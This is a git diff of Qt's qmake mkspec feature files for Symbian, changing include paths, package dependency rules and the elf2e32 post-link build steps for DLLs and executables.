@@ -270,10 +276,10 @@ exists($${EPOCROOT}epoc32/include/platform_paths.prf) {
         # ---------------------------------------
 
         defineReplace(MW_LAYER_DOMAIN_EXPORT_PATH) {
-             return (/epoc32/include/domain/middleware/$$1)
+             return ($${epocroot_prefix}epoc32/include/domain/middleware/$$1)
         }
         defineReplace(MW_LAYER_PLATFORM_EXPORT_PATH) {
-             return (/epoc32/include/domain/middleware/$$1)
+             return ($${epocroot_prefix}epoc32/include/domain/middleware/$$1)
         }
 
         # ---------------------------------------
@@ -281,11 +287,11 @@ exists($${EPOCROOT}epoc32/include/platform_paths.prf) {
         # ---------------------------------------
 
         defineReplace(OSEXT_LAYER_SDK_EXPORT_PATH) {
-             return (/epoc32/include/osextensions/$$1)
+             return ($${epocroot_prefix}epoc32/include/osextensions/$$1)
         }
         # WARNING: If the following path changes see the exists() function around line 430
         defineReplace(OS_LAYER_PUBLIC_EXPORT_PATH) {
-             return (/epoc32/include/osextensions/$$1)
+             return ($${epocroot_prefix}epoc32/include/osextensions/$$1)
         }
 
         # ---------------------------------------
@@ -293,10 +299,10 @@ exists($${EPOCROOT}epoc32/include/platform_paths.prf) {
         # ---------------------------------------
 
         defineReplace(OSEXT_LAYER_DOMAIN_EXPORT_PATH) {
-             return (/epoc32/include/domain/osextensions/$$1)
+             return ($${epocroot_prefix}epoc32/include/domain/osextensions/$$1)
         }
         defineReplace(OS_LAYER_PLATFORM_EXPORT_PATH) {
-             return (/epoc32/include/domain/osextensions/$$1)
+             return ($${epocroot_prefix}epoc32/include/domain/osextensions/$$1)
         }
 
         # ---------------------------------------
@@ -323,20 +329,20 @@ exists($${EPOCROOT}epoc32/include/platform_paths.prf) {
         # the headers come from middleware or os-layer  => thus they are first.
 
         APP_LAYER_SYSTEMINCLUDE = \
-         /epoc32/include \
-         /epoc32/include/oem \
-         /epoc32/include/middleware \
-         /epoc32/include/domain/middleware \
-         /epoc32/include/osextensions \
-         /epoc32/include/domain/osextensions \
-         /epoc32/include/applications \
-         /epoc32/include/domain/applications \
-         /epoc32/include/domain/osextensions/loc \
-         /epoc32/include/domain/middleware/loc \
-         /epoc32/include/domain/applications/loc \
-         /epoc32/include/domain/osextensions/loc/sc \
-         /epoc32/include/domain/middleware/loc/sc \
-         /epoc32/include/domain/applications/loc/sc
+         $${epocroot_prefix}epoc32/include \
+         $${epocroot_prefix}epoc32/include/oem \
+         $${epocroot_prefix}epoc32/include/middleware \
+         $${epocroot_prefix}epoc32/include/domain/middleware \
+         $${epocroot_prefix}epoc32/include/osextensions \
+         $${epocroot_prefix}epoc32/include/domain/osextensions \
+         $${epocroot_prefix}epoc32/include/applications \
+         $${epocroot_prefix}epoc32/include/domain/applications \
+         $${epocroot_prefix}epoc32/include/domain/osextensions/loc \
+         $${epocroot_prefix}epoc32/include/domain/middleware/loc \
+         $${epocroot_prefix}epoc32/include/domain/applications/loc \
+         $${epocroot_prefix}epoc32/include/domain/osextensions/loc/sc \
+         $${epocroot_prefix}epoc32/include/domain/middleware/loc/sc \
+         $${epocroot_prefix}epoc32/include/domain/applications/loc/sc
 
         # This define statements defines the include paths, which are intended to be
         # used in the pro-files that are part of the middleware-layer. It includes all 
@@ -344,16 +350,16 @@ exists($${EPOCROOT}epoc32/include/platform_paths.prf) {
         # middleware-layer components. 
 
         MW_LAYER_SYSTEMINCLUDE = \
-         /epoc32/include \
-         /epoc32/include/oem \
-         /epoc32/include/middleware \
-         /epoc32/include/domain/middleware \
-         /epoc32/include/osextensions \
-         /epoc32/include/domain/osextensions \
-         /epoc32/include/domain/osextensions/loc \
-         /epoc32/include/domain/middleware/loc \
-         /epoc32/include/domain/osextensions/loc/sc \
-         /epoc32/include/domain/middleware/loc/sc
+         $${epocroot_prefix}epoc32/include \
+         $${epocroot_prefix}epoc32/include/oem \
+         $${epocroot_prefix}epoc32/include/middleware \
+         $${epocroot_prefix}epoc32/include/domain/middleware \
+         $${epocroot_prefix}epoc32/include/osextensions \
+         $${epocroot_prefix}epoc32/include/domain/osextensions \
+         $${epocroot_prefix}epoc32/include/domain/osextensions/loc \
+         $${epocroot_prefix}epoc32/include/domain/middleware/loc \
+         $${epocroot_prefix}epoc32/include/domain/osextensions/loc/sc \
+         $${epocroot_prefix}epoc32/include/domain/middleware/loc/sc
 
         # This define statements defines the include paths, which are intended to be
         # used in the pro-files that are part of the  osextensions-layer. It includes all
@@ -361,12 +367,12 @@ exists($${EPOCROOT}epoc32/include/platform_paths.prf) {
         # os-layer components. 
 
         OS_LAYER_SYSTEMINCLUDE = \
-         /epoc32/include \
-         /epoc32/include/oem \
-         /epoc32/include/osextensions \
-         /epoc32/include/domain/osextensions \
-         /epoc32/include/domain/osextensions/loc \
-         /epoc32/include/domain/osextensions/loc/sc
+         $${epocroot_prefix}epoc32/include \
+         $${epocroot_prefix}epoc32/include/oem \
+         $${epocroot_prefix}epoc32/include/osextensions \
+         $${epocroot_prefix}epoc32/include/domain/osextensions \
+         $${epocroot_prefix}epoc32/include/domain/osextensions/loc \
+         $${epocroot_prefix}epoc32/include/domain/osextensions/loc/sc
 
         # This define statements defines the include paths, which are intended to be
         # used in the pro-files that are part of the os-layer. This is intended 
@@ -375,9 +381,9 @@ exists($${EPOCROOT}epoc32/include/platform_paths.prf) {
         # 2 files already contain the /epoc32/include  as system include path.
 
         OS_LAYER_KERNEL_SYSTEMINCLUDE = \
-         /epoc32/include/oem \
-         /epoc32/include/osextensions \
-         /epoc32/include/domain/osextensions
+         $${epocroot_prefix}epoc32/include/oem \
+         $${epocroot_prefix}epoc32/include/osextensions \
+         $${epocroot_prefix}epoc32/include/domain/osextensions
 
 
         # ---------------------------------------
@@ -387,41 +393,41 @@ exists($${EPOCROOT}epoc32/include/platform_paths.prf) {
 
         OS_LAYER_LIBC_SYSTEMINCLUDE = $$OS_LAYER_PUBLIC_EXPORT_PATH(stdapis) \
                                       $$OS_LAYER_PUBLIC_EXPORT_PATH(stdapis/sys) \
-                                      /epoc32/include/stdapis \
-                                      /epoc32/include/stdapis/sys
+                                      $${epocroot_prefix}epoc32/include/stdapis \
+                                      $${epocroot_prefix}epoc32/include/stdapis/sys
 
         OS_LAYER_GLIB_SYSTEMINCLUDE = $$OS_LAYER_PUBLIC_EXPORT_PATH(stdapis/glib-2.0) \
                                       $$OS_LAYER_PUBLIC_EXPORT_PATH(stdapis/glib-2.0/glib) \
                                       $$OS_LAYER_PUBLIC_EXPORT_PATH(stdapis/glib-2.0/gObject) \
-                                      /epoc32/include/stdapis/glib-2.0 \
-                                      /epoc32/include/stdapis/glib-2.0/glib \
-                                      /epoc32/include/stdapis/glib-2.0/gObject
+                                      $${epocroot_prefix}epoc32/include/stdapis/glib-2.0 \
+                                      $${epocroot_prefix}epoc32/include/stdapis/glib-2.0/glib \
+                                      $${epocroot_prefix}epoc32/include/stdapis/glib-2.0/gObject
 
         OS_LAYER_SSL_SYSTEMINCLUDE = $$OS_LAYER_PUBLIC_EXPORT_PATH(stdapis/openssl) \
-                                     /epoc32/include/stdapis/openssl
+                                     $${epocroot_prefix}epoc32/include/stdapis/openssl
 
         # stlportv5 is preferred over stlport as it has the throwing version of operator new
         OS_LAYER_STDCPP_SYSTEMINCLUDE = $$OS_LAYER_PUBLIC_EXPORT_PATH(stdapis/stlportv5) \
-                                        /epoc32/include/stdapis/stlportv5
+                                        $${epocroot_prefix}epoc32/include/stdapis/stlportv5
         exists($${EPOCROOT}epoc32/include/osextensions/stdapis/stlport) \
         |exists($${EPOCROOT}epoc32/include/stdapis/stlport) {
             !exists($${EPOCROOT}epoc32/include/osextensions/stdapis/stlportv5) \
             :!exists($${EPOCROOT}epoc32/include/stdapis/stlportv5) {
                 OS_LAYER_STDCPP_SYSTEMINCLUDE = $$OS_LAYER_PUBLIC_EXPORT_PATH(stdapis/stlport) \
-                                                /epoc32/include/stdapis/stlport
+                                                $${epocroot_prefix}epoc32/include/stdapis/stlport
             }
         }
         
         OS_LAYER_BOOST_SYSTEMINCLUDE = $$OS_LAYER_PUBLIC_EXPORT_PATH(stdapis/boost) \
-                                       /epoc32/include/stdapis/boost
+                                       $${epocroot_prefix}epoc32/include/stdapis/boost
 
         OS_LAYER_DBUS_SYSTEMINCLUDE = $$OS_LAYER_PUBLIC_EXPORT_PATH(stdapis/dbus-1.0) \
                                       $$OS_LAYER_PUBLIC_EXPORT_PATH(stdapis/dbus-1.0/dbus) \
-                                      /epoc32/include/stdapis/dbus-1.0 \
-                                      /epoc32/include/stdapis/dbus-1.0/dbus
+                                      $${epocroot_prefix}epoc32/include/stdapis/dbus-1.0 \
+                                      $${epocroot_prefix}epoc32/include/stdapis/dbus-1.0/dbus
 
         OS_LAYER_LIBUTILITY_SYSTEMINCLUDE = $$OS_LAYER_PLATFORM_EXPORT_PATH(stdapis/utility) \
-                                            /epoc32/include/stdapis/utility
+                                            $${epocroot_prefix}epoc32/include/stdapis/utility
 
     } 
 
@@ -433,31 +439,31 @@ exists($${EPOCROOT}epoc32/include/platform_paths.prf) {
     # ---------------------------------------
 
     defineReplace(CORE_APP_LAYER_IBY_EXPORT_PATH) {
-        return(/epoc32/rom/include/core/app/$$1)
+        return($${epocroot_prefix}epoc32/rom/include/core/app/$$1)
     }
     defineReplace(CORE_MW_LAYER_IBY_EXPORT_PATH) {
-        return(/epoc32/rom/include/core/mw/$$1)
+        return($${epocroot_prefix}epoc32/rom/include/core/mw/$$1)
     }
 
     defineReplace(LANGUAGE_APP_LAYER_IBY_EXPORT_PATH) {
-        return(/epoc32/rom/include/language/app/$$1)
+        return($${epocroot_prefix}epoc32/rom/include/language/app/$$1)
     }
     defineReplace(LANGUAGE_MW_LAYER_IBY_EXPORT_PATH) {
-        return(/epoc32/rom/include/language/mw/$$1)
+        return($${epocroot_prefix}epoc32/rom/include/language/mw/$$1)
     }
 
     defineReplace(CUSTOMER_APP_LAYER_IBY_EXPORT_PATH) {
-        return(/epoc32/rom/include/customer/app/$$1)
+        return($${epocroot_prefix}epoc32/rom/include/customer/app/$$1)
     }
     defineReplace(CUSTOMER_MW_LAYER_IBY_EXPORT_PATH) {
-        return(/epoc32/rom/include/customer/mw/$$1)
+        return($${epocroot_prefix}epoc32/rom/include/customer/mw/$$1)
     }
 
     defineReplace(CUSTOMER_VARIANT_APP_LAYER_IBY_EXPORT_PATH) {
-        return(/epoc32/rom/include/customervariant/app/$$1)
+        return($${epocroot_prefix}epoc32/rom/include/customervariant/app/$$1)
     }
     defineReplace(CUSTOMER_VARIANT_MW_LAYER_IBY_EXPORT_PATH) {
-        return(/epoc32/rom/include/customervariant/mw/$$1)
+        return($${epocroot_prefix}epoc32/rom/include/customervariant/mw/$$1)
     }
 
     # You need to define the following in pro-file, if you are using the stllib:
@@ -468,5 +474,4 @@ exists($${EPOCROOT}epoc32/include/platform_paths.prf) {
 
 }
 
-
-    
+epocroot_prefix =
diff --git a/mkspecs/features/symbian/qt.prf b/mkspecs/features/symbian/qt.prf
index 02b3003..9fc9814 100644
--- a/mkspecs/features/symbian/qt.prf
+++ b/mkspecs/features/symbian/qt.prf
@@ -22,134 +22,30 @@ load(qt)
 INCLUDEPATH = $$PREPEND_INCLUDEPATH $$INCLUDEPATH
 
 # Add dependency to Qt package to all other projects besides Qt libs.
-# Note: Qt libs with full capabilities has UID3 of 0x2001E61C,
+# Note: Qt libs package with full capabilities has UID3 of 0x2001E61C,
 #       while self-signed version typically has temporary UID3 of 0xE001E61C.
-contains(CONFIG, qt):!contains(TARGET.UID3, 0x2001E61C):!contains(TARGET.UID3, 0xE001E61C) {
-    default_deployment.pkg_prerules += \
+contains(CONFIG, qt):!contains(TARGET.UID3, 0x2001E61C):!contains(TARGET.UID3, 0xE001E61C):isEmpty(QT_LIBINFIX) {
+    pkg_depends_qt += \
         "; Default dependency to Qt libraries" \
         "(0x2001E61C), $${QT_MAJOR_VERSION}, $${QT_MINOR_VERSION}, $${QT_PATCH_VERSION},  {\"Qt\"}"
 
     # Projects linking to webkit need dependency to webkit
     contains(QT, webkit): {
-        default_deployment.pkg_prerules += \
+        pkg_depends_webkit += \
             "; Dependency to Qt Webkit" \
             "(0x200267C2), $${QT_MAJOR_VERSION}, $${QT_MINOR_VERSION}, $${QT_PATCH_VERSION},  {\"QtWebKit\"}"
+    } else {
+        default_deployment.pkg_prerules -= pkg_depends_webkit
     }
+} else {
+    default_deployment.pkg_prerules -= pkg_depends_webkit pkg_depends_qt
 }
 
 isEmpty(TARGET.EPOCSTACKSIZE):TARGET.EPOCSTACKSIZE = 0x14000
 isEmpty(TARGET.EPOCHEAPSIZE):TARGET.EPOCHEAPSIZE = 0x020000 0x800000
 
-# Sis file creation
-make_cache_name = .make.cache
-!symbian-abld:!symbian-sbsv2 {
-    fixedDestdir = $$DESTDIR
-    !isEmpty(fixedDestdir):!contains(fixedDestdir, "[/\\]$"):fixedDestdir = $${fixedDestdir}/
-    contains(QMAKE_HOST.os, "Windows"):fixedDestdir = $$replace(fixedDestdir, "/", "\\")
-} else {
-    fixedDestdir =
-}
-
-sis_target.target = sis
-sis_target.commands = $(if $(wildcard $$basename(TARGET)_template.pkg), \
-                          $(if $(wildcard $$make_cache_name), \
-                              $(MAKE) -f $(MAKEFILE) ok_sis MAKEFILES=$$make_cache_name \
-                          , \
-                              $(if $(QT_SIS_TARGET), \
-                                  $(MAKE) -f $(MAKEFILE) ok_sis \
-                              , \
-                                  $(MAKE) -f $(MAKEFILE) fail_sis_nocache \
-                              ) \
-                          ) \
-                      , \
-                          $(MAKE) -f $(MAKEFILE) fail_sis_nopkg \
-                      )
-
-ok_sis_target.target = ok_sis
-ok_sis_target.commands = createpackage.bat $(QT_SIS_OPTIONS) $$basename(TARGET)_template.pkg \
-                             $(QT_SIS_TARGET) $(QT_SIS_CERTIFICATE) $(QT_SIS_KEY) $(QT_SIS_PASSPHRASE)
-
-target_sis_target.target = $${fixedDestdir}$${TARGET}.sis
-target_sis_target.commands = $(MAKE) -f $(MAKEFILE) sis
-
-installer_sis_target.target = installer_sis
-installer_sis_target.commands = $(if $(wildcard $$basename(TARGET)_installer.pkg), \
-                                    $(MAKE) -f $(MAKEFILE) ok_installer_sis \
-                                , \
-                                    $(MAKE) -f $(MAKEFILE) fail_sis_nopkg \
-                                )
-installer_sis_target.depends = $${fixedDestdir}$${TARGET}.sis
-
-ok_installer_sis_target.target = ok_installer_sis
-ok_installer_sis_target.commands = createpackage.bat $(QT_SIS_OPTIONS) $$basename(TARGET)_installer.pkg - \
-                                       $(QT_SIS_CERTIFICATE) $(QT_SIS_KEY) $(QT_SIS_PASSPHRASE)
-
-fail_sis_nopkg_target.target = fail_sis_nopkg
-fail_sis_nopkg_target.commands = "$(error PKG file does not exist, 'sis' and 'installer_sis' target are only supported for executables or projects with DEPLOYMENT statement)"
-
-fail_sis_nocache_target.target = fail_sis_nocache
-fail_sis_nocache_target.commands = "$(error Project has to be built or QT_SIS_TARGET environment variable has to be set before calling 'SIS' target)"
-
-symbian-abld|symbian-sbsv2 {
-    # Only enable stub_sis files for the abld/sbsv2 build systems for now, since we don't
-    # support ROM builds for any other Symbian build system.
-    stub_sis_target.target = stub_sis
-    stub_sis_target.commands = $(if $(wildcard $$basename(TARGET)_template.pkg), \
-                                   $(if $(wildcard $$make_cache_name), \
-                                       $(MAKE) -f $(MAKEFILE) ok_stub_sis MAKEFILES=$$make_cache_name \
-                                   , \
-                                       $(if $(QT_SIS_TARGET), \
-                                           $(MAKE) -f $(MAKEFILE) ok_stub_sis \
-                                       , \
-                                           $(MAKE) -f $(MAKEFILE) fail_sis_nocache \
-                                       ) \
-                                   ) \
-                               , \
-                                   $(MAKE) -f $(MAKEFILE) fail_sis_nopkg \
-                               )
-
-    ok_stub_sis_target.target = ok_stub_sis
-    ok_stub_sis_target.commands = createpackage.bat -s $(QT_SIS_OPTIONS) $$basename(TARGET)_template.pkg \
-                                      $(QT_SIS_TARGET) $(QT_SIS_CERTIFICATE) $(QT_SIS_KEY) $(QT_SIS_PASSPHRASE)
-
-    QMAKE_EXTRA_TARGETS += stub_sis_target \
-                           ok_stub_sis_target
-} else {
-    # DESTDIR is not honored on abld and sbsv2
-    !isEmpty(DESTDIR) {
-        ok_sis_target.commands += && $$QMAKE_MOVE $$basename(TARGET).sis $$DESTDIR
-        ok_installer_sis_target.commands += && $$QMAKE_MOVE $$basename(TARGET).sis $$DESTDIR
-    }
-}
-
-QMAKE_EXTRA_TARGETS += sis_target \
-                       ok_sis_target \
-                       target_sis_target \
-                       installer_sis_target \
-                       ok_installer_sis_target \
-                       fail_sis_nopkg_target \
-                       fail_sis_nocache_target
-
-# Sbsv2 has its own store_build target which is using flms.
-!symbian-sbsv2 {
-    contains(QMAKE_HOST.os, "Windows") {
-        shellFixedHash = $${LITERAL_HASH}
-    } else {
-        shellFixedHash = \\$${LITERAL_HASH}
-    }
-    store_build_target.target = store_build
-    store_build_target.commands = \
-          @echo $${shellFixedHash} ============================================================================== > $$make_cache_name \
-        && echo $${shellFixedHash}   This file is generated by make and should not be modified by the user >> $$make_cache_name \
-        && echo $${shellFixedHash}  Name        : $$make_cache_name >> $$make_cache_name \
-        && echo $${shellFixedHash}  Part of     : lineedits >> $$make_cache_name \
-        && echo $${shellFixedHash}  Description : This file is used to cache last build target for >> $$make_cache_name \
-        && echo $${shellFixedHash}                make sis target. >> $$make_cache_name \
-        && echo $${shellFixedHash}  Version     :  >> $$make_cache_name \
-        && echo $${shellFixedHash} >> $$make_cache_name \
-        && echo $${shellFixedHash} ============================================================================== >> $$make_cache_name \
-        && echo. >> $$make_cache_name \
-        && echo QT_SIS_TARGET ?= $(QT_SIS_TARGET) >> $$make_cache_name
-
-    QMAKE_EXTRA_TARGETS += store_build_target
+# Workaround for the fact that Gnupoc and Symbian chose different approaches to
+# the letter casing of headers.
+contains(CONFIG, is_using_gnupoc) {
+    INCLUDEPATH += $${PWD}/../../common/symbian/header-wrappers
 }
diff --git a/mkspecs/features/symbian/qt_config.prf b/mkspecs/features/symbian/qt_config.prf
new file mode 100644
index 0000000..2f446dc
--- /dev/null
+++ b/mkspecs/features/symbian/qt_config.prf
@@ -0,0 +1,9 @@
+load(qt_config)
+
+!contains(QMAKE_HOST.os, "Windows") {
+    # Test for the existence of lower cased headers, a sign of using Gnupoc.
+    # Note that the qmake "exists" test won't do because it is case insensitive.
+    system("test -f $${EPOCROOT}/epoc32/include/akndoc.h") {
+        CONFIG += is_using_gnupoc
+    }
+}
diff --git a/mkspecs/features/symbian/release.prf b/mkspecs/features/symbian/release.prf
new file mode 100644
index 0000000..8164495
--- /dev/null
+++ b/mkspecs/features/symbian/release.prf
@@ -0,0 +1 @@
+QMAKE_LIBDIR        += $${EPOCROOT}epoc32/release/armv5/urel
diff --git a/mkspecs/features/symbian/stl.prf b/mkspecs/features/symbian/stl.prf
index 85c758a..3091fce 100644
--- a/mkspecs/features/symbian/stl.prf
+++ b/mkspecs/features/symbian/stl.prf
@@ -21,8 +21,8 @@ STL_LIB = -llibstdcppv5.dll
 STL_MMP_RULE = "STDCPP"
 
 # Fall back to old implementation if that is the only one that is found
-exists($${EPOCROOT}epoc32/release/armv5/urel/libstdcpp.dll)|exists($${EPOCROOT}epoc32/release/winscw/udeb/libstdcpp.dll) {
-    !exists($${EPOCROOT}epoc32/release/armv5/urel/libstdcppv5.dll):!exists($${EPOCROOT}epoc32/release/winscw/udeb/libstdcppv5.dll) {
+exists($${EPOCROOT}epoc32/release/armv5/lib/libstdcpp.dso)|exists($${EPOCROOT}epoc32/release/winscw/udeb/libstdcpp.dll) {
+    !exists($${EPOCROOT}epoc32/release/armv5/lib/libstdcppv5.dso):!exists($${EPOCROOT}epoc32/release/winscw/udeb/libstdcppv5.dll) {
         STL_LIB = -llibstdcpp.dll
         STL_MMP_RULE =
     }
diff --git a/mkspecs/features/symbian/symbian_building.prf b/mkspecs/features/symbian/symbian_building.prf
new file mode 100644
index 0000000..a097771
--- /dev/null
+++ b/mkspecs/features/symbian/symbian_building.prf
@@ -0,0 +1,294 @@
+# we have some module specific options (defined in qt.prf) lets add them
+!contains(TARGET, ".*[ -].*"):eval(TMPVAR = \$\$QMAKE_$${TARGET}_CXXFLAGS)
+!isEmpty(TMPVAR):QMAKE_CXXFLAGS += $$TMPVAR
+!contains(TARGET, ".*[ -].*"):eval(TMPVAR = \$\$QMAKE_$${TARGET}_LFLAGS)
+!isEmpty(TMPVAR) {
+    QMAKE_LFLAGS += $$TMPVAR
+} else :linux-gcce {  # lets provide a simple default. Without elf2e32 complains
+    QMAKE_LFLAGS += -Ttext 0x80000 -Tdata 0x400000
+}
+
+symbianObjdir=$$OBJECTS_DIR
+isEmpty(symbianObjdir) {
+    symbianObjdir = .
+}
+symbianDestdir=$$DESTDIR
+isEmpty(symbianDestdir) {
+    symbianDestdir = .
+}
+
+contains(QMAKE_CFLAGS, "--thumb")|contains(QMAKE_CXXFLAGS, "--thumb")|contains(QMAKE_CFLAGS, "-mthumb")|contains(QMAKE_CXXFLAGS, "-mthumb") {
+    DEFINES += __MARM_THUMB__
+}
+
+defineReplace(processSymbianLibraries) {
+    library = $$replace(1, "\.dll$", ".dso")
+    library = $$replace(library, "^-l", "")
+    isFullName = $$find(library, \.)
+    isEmpty(isFullName):library="$${library}.dso"
+    linux-gcce {
+        newLIB = "-l:$${library}"
+    } else {
+        newLIB = "$${library}"
+    }
+    contains(library, "\.dso$")|contains(library, ".lib$"):PRE_TARGETDEPS += $$library
+    return($$newLIB)
+}
+
+for(libraries, LIBS) {
+    newLIBS += $$processSymbianLibraries($$libraries)
+}
+LIBS = $$newLIBS
+newLIBS =
+for(libraries, QMAKE_LIBS) {
+    newLIBS += $$processSymbianLibraries($$libraries)
+}
+QMAKE_LIBS = $$newLIBS
+
+elf2e32_LIBPATH =
+for(libPath, QMAKE_LIBDIR) {
+    elf2e32_LIBPATH += "--libpath=$$libPath"
+}
+
+isEmpty(VERSION) {
+    VERSION = $$QT_VERSION
+}
+
+# Check for version validity.
+!isEmpty(VERSION):!contains(VERSION, "[0-9]+"):!contains(VERSION, "[0-9]+\.[0-9]+")!contains(VERSION, "[0-9]+(\.[0-9]+){2}") {
+    error("Invalid VERSION for Symbian: $$VERSION")
+}
+
+splitVersion = $$split(VERSION, ".")
+count(splitVersion, 0) {
+    # Default Symbian version if none is specified.
+    hexVersion = "000a0000"
+    decVersion = "10.0"
+} else {
+    count(splitVersion, 3) {
+        hexVersion = $$system("sh -c 'printf %02x $$member(splitVersion, 0)'")
+        hexPart2 = $$system("sh -c 'printf %02x $$member(splitVersion, 1)'")"
+        hexPart2 = $$hexPart2$$system("sh -c 'printf %02x $$member(splitVersion, 2)'")"
+        decVersion = $$system("sh -c 'printf %1d 0x$$hexVersion'").
+        hexVersion = $$hexVersion$$hexPart2
+        decVersion = $$decVersion$$system("sh -c 'printf %d 0x$$hexPart2'")
+        !contains(hexVersion, "[0-9a-f]{8}"):hexVersion = "00$${hexVersion}"
+    } else {  # app code may have different numbering...
+        hexVersion = $$VERSION
+        decVersion = $$VERSION
+    }
+}
+#error ("hexVersion: $$hexVersion, decVersion: $$decVersion")
+
+intUid3 = $$lower($$replace(TARGET.UID3, "^0x", ""))
+isEmpty(TARGET.SID):TARGET.SID = $$TARGET.UID3
+isEmpty(TARGET.UID2):TARGET.UID2 = 0x00000000
+
+capability = $$replace(TARGET.CAPABILITY, " ", "+")
+capability = $$join(capability, "+")
+capability = $$replace(capability, "\+-", "-")
+isEmpty(capability): capability = "None"
+capability = "--capability=$$capability"
+
+contains(TEMPLATE, lib):!contains(CONFIG, static):!contains(CONFIG, staticlib) {
+    !isEmpty(QMAKE_POST_LINK) {
+        # No way to honor the '@' :-(
+        QMAKE_POST_LINK = $$replace(QMAKE_POST_LINK, "^@", "")
+        QMAKE_POST_LINK = && $$QMAKE_POST_LINK
+    }
+    # The tee and grep at the end work around the issue that elf2e32 doesn't return non-null on error.
+    # The comparison of dso files is to avoid extra building of modules that depend on this dso, in
+    # case it has not changed.
+    QMAKE_POST_LINK = $$QMAKE_MOVE $$symbianDestdir/$${TARGET}.dll $$symbianDestdir/$${TARGET}.sym \
+                      && elf2e32  --version=$$decVersion --sid=$$TARGET.SID  --uid1=0x10000079 \
+                      --uid2=$$TARGET.UID2 --uid3=$$TARGET.UID3 --dlldata --heap=0x00020000,0x00800000 \
+                      --stack=0x00014000 --fpu=softvfp --targettype=DLL \
+                      --elfinput=$${symbianDestdir}/$${TARGET}.sym --output=$${symbianDestdir}/$${TARGET}.dll \
+                      --dso=$$symbianObjdir/$${TARGET}.dso --defoutput=$$symbianObjdir/$${TARGET}.def \
+                      --unfrozen --linkas=$${TARGET}\\{$${hexVersion}\\}\\[$${intUid3}\\].dll \
+                      --compressionmethod bytepair $$elf2e32_LIBPATH --unpaged $$capability \
+                      $$QMAKE_ELF2E32_FLAGS \
+                      | tee elf2e32.log && test `grep -c 'Error:' elf2e32.log` = 0 && rm elf2e32.log \
+                      && if ! diff -q $${symbianObjdir}/$${TARGET}.dso $${symbianDestdir}/$${TARGET}.dso \
+                      > /dev/null 2>&1; then \
+                          $$QMAKE_COPY $${symbianObjdir}/$${TARGET}.dso $${symbianDestdir}/$${TARGET}.dso; \
+                      fi \
+                      $$QMAKE_POST_LINK
+    QMAKE_DISTCLEAN += $${symbianDestdir}/$${TARGET}.sym
+    QMAKE_DISTCLEAN += $${symbianDestdir}/$${TARGET}.dso
+    QMAKE_CLEAN += $${symbianObjdir}/$${TARGET}.dso
+    QMAKE_CLEAN += $${symbianObjdir}/$${TARGET}.def
+
+    linux-armcc: {
+        QMAKE_LIBS += -ledllstub.lib -ledll.lib\\(uc_dll_.o\\)
+    } else :linux-gcce {
+        QMAKE_LIBS += \
+            -l:edll.lib \
+            -l:usrt2_2.lib \
+            -l:dfpaeabi.dso \
+            -l:drtaeabi.dso \
+            -l:scppnwdl.dso \
+            -lsupc++ \
+            -lgcc
+    }
+
+    QMAKE_LFLAGS += --soname $${TARGET}\\{$${hexVersion}\\}\\[$${intUid3}\\].dll
+    DEFINES += __DLL__
+}
+
+contains(TEMPLATE, app):!contains(QMAKE_LINK, "^@.*") {
+    !isEmpty(QMAKE_POST_LINK) {
+        # No way to honor the '@' :-(
+        QMAKE_POST_LINK = $$replace(QMAKE_POST_LINK, "^@", "")
+        QMAKE_POST_LINK = && $$QMAKE_POST_LINK
+    }
+    # the tee and grep at the end work around the issue that elf2e32 doesn't return non-null on error
+    QMAKE_POST_LINK = $$QMAKE_MOVE $$symbianDestdir/$${TARGET} $$symbianDestdir/$${TARGET}.sym \
+                      && elf2e32  --version $$decVersion --sid=$$TARGET.SID  --uid1=0x1000007a \
+                      --uid2=$$TARGET.UID2 --uid3=$$TARGET.UID3 --dlldata --heap=0x00020000,0x00800000 \
+                      --stack=0x00014000 --fpu=softvfp --targettype=EXE \
+                      --elfinput=$${symbianDestdir}/$${TARGET}.sym --output=$${symbianDestdir}/$${TARGET}.exe \
+                      --unfrozen --linkas=$${TARGET}\\{$${hexVersion}\\}\\[$${intUid3}\\].exe \
+                      --compressionmethod bytepair $$elf2e32_LIBPATH --unpaged $$capability \
+                      $$QMAKE_ELF2E32_FLAGS \
+                      | tee elf2e32.log && test `grep -c 'Error:' elf2e32.log` = 0 && rm elf2e32.log \
+                      && ln "$${symbianDestdir}/$${TARGET}.exe" "$${symbianDestdir}/$$TARGET" \
+                      $$QMAKE_POST_LINK
+    QMAKE_DISTCLEAN += $${symbianDestdir}/$${TARGET}.sym
+    QMAKE_DISTCLEAN += $${symbianDestdir}/$${TARGET}.exe
+    QMAKE_CLEAN += $${symbianDestdir}/$${TARGET}
+
+    linux-armcc: {
+        QMAKE_LIBS += -leexe.lib\\(uc_exe_.o\\)
+        contains(CONFIG, "qt"):contains(QT, "core") { #if linking with QtCore
+            QMAKE_LIBS += -lqtmain$${QT_LIBINFIX}.lib
+        } else {
+            QMAKE_LIBS += -llibcrt0.lib
+        }
+    } else :linux-gcce {
+        # notice that we can't merge these as ordering of arguments is important.
+        QMAKE_LIBS += \
+            -l:eexe.lib \
+            -l:usrt2_2.lib
+        contains(CONFIG, "qt"):contains(QT, "core") { #if linking with QtCore
+            QMAKE_LIBS += -l:qtmain$${QT_LIBINFIX}.lib
+        } else {
+            QMAKE_LIBS += -l:libcrt0_gcce.lib
+        }
+        QMAKE_LIBS += \
+            -l:dfpaeabi.dso \
+            -l:drtaeabi.dso \
+            -l:scppnwdl.dso \
+            -lsupc++ \
+            -lgcc
+        QMAKE_LFLAGS += --shared
+    }
+
+    QMAKE_LFLAGS += --soname $${TARGET}\\{$${hexVersion}\\}\\[$${intUid3}\\].exe
+    DEFINES += __EXE__
+}
+
+# Symbian resource files
+linux-armcc: {
+    SYMBIAN_RVCT22INC=$$(RVCT22INC)
+    !isEmpty(SYMBIAN_RVCT22INC):symbian_resources_INCLUDES = -I$${SYMBIAN_RVCT22INC}
+}
+symbian_resources_INCLUDES = $$replace(symbian_resources_INCLUDES, ",", " -I")
+symbian_resources_INCLUDES += $$join(INCLUDEPATH, " -I", "-I")
+symbian_resources_DEFINES = $$join(DEFINES, " -D", "-D")
+symbian_resources_RCC_DIR = $$replace(RCC_DIR, "/$", "")
+symbian_resources_INCLUDES += "-I $$symbian_resources_RCC_DIR"
+
+for(symbian_resource, SYMBIAN_RESOURCES) {
+    symbian_resource = $$basename(symbian_resource)
+    symbian_resource_clean = $$replace(symbian_resource, "\.rss$", ".rsc")
+    QMAKE_DISTCLEAN += $${symbianDestdir}/$${symbian_resource_clean}
+    symbian_resource_clean = $$replace(symbian_resource, "\.rss$", ".rpp")
+    QMAKE_CLEAN += $${symbian_resources_RCC_DIR}/$${symbian_resource_clean}
+}
+
+symbianresources.input = SYMBIAN_RESOURCES
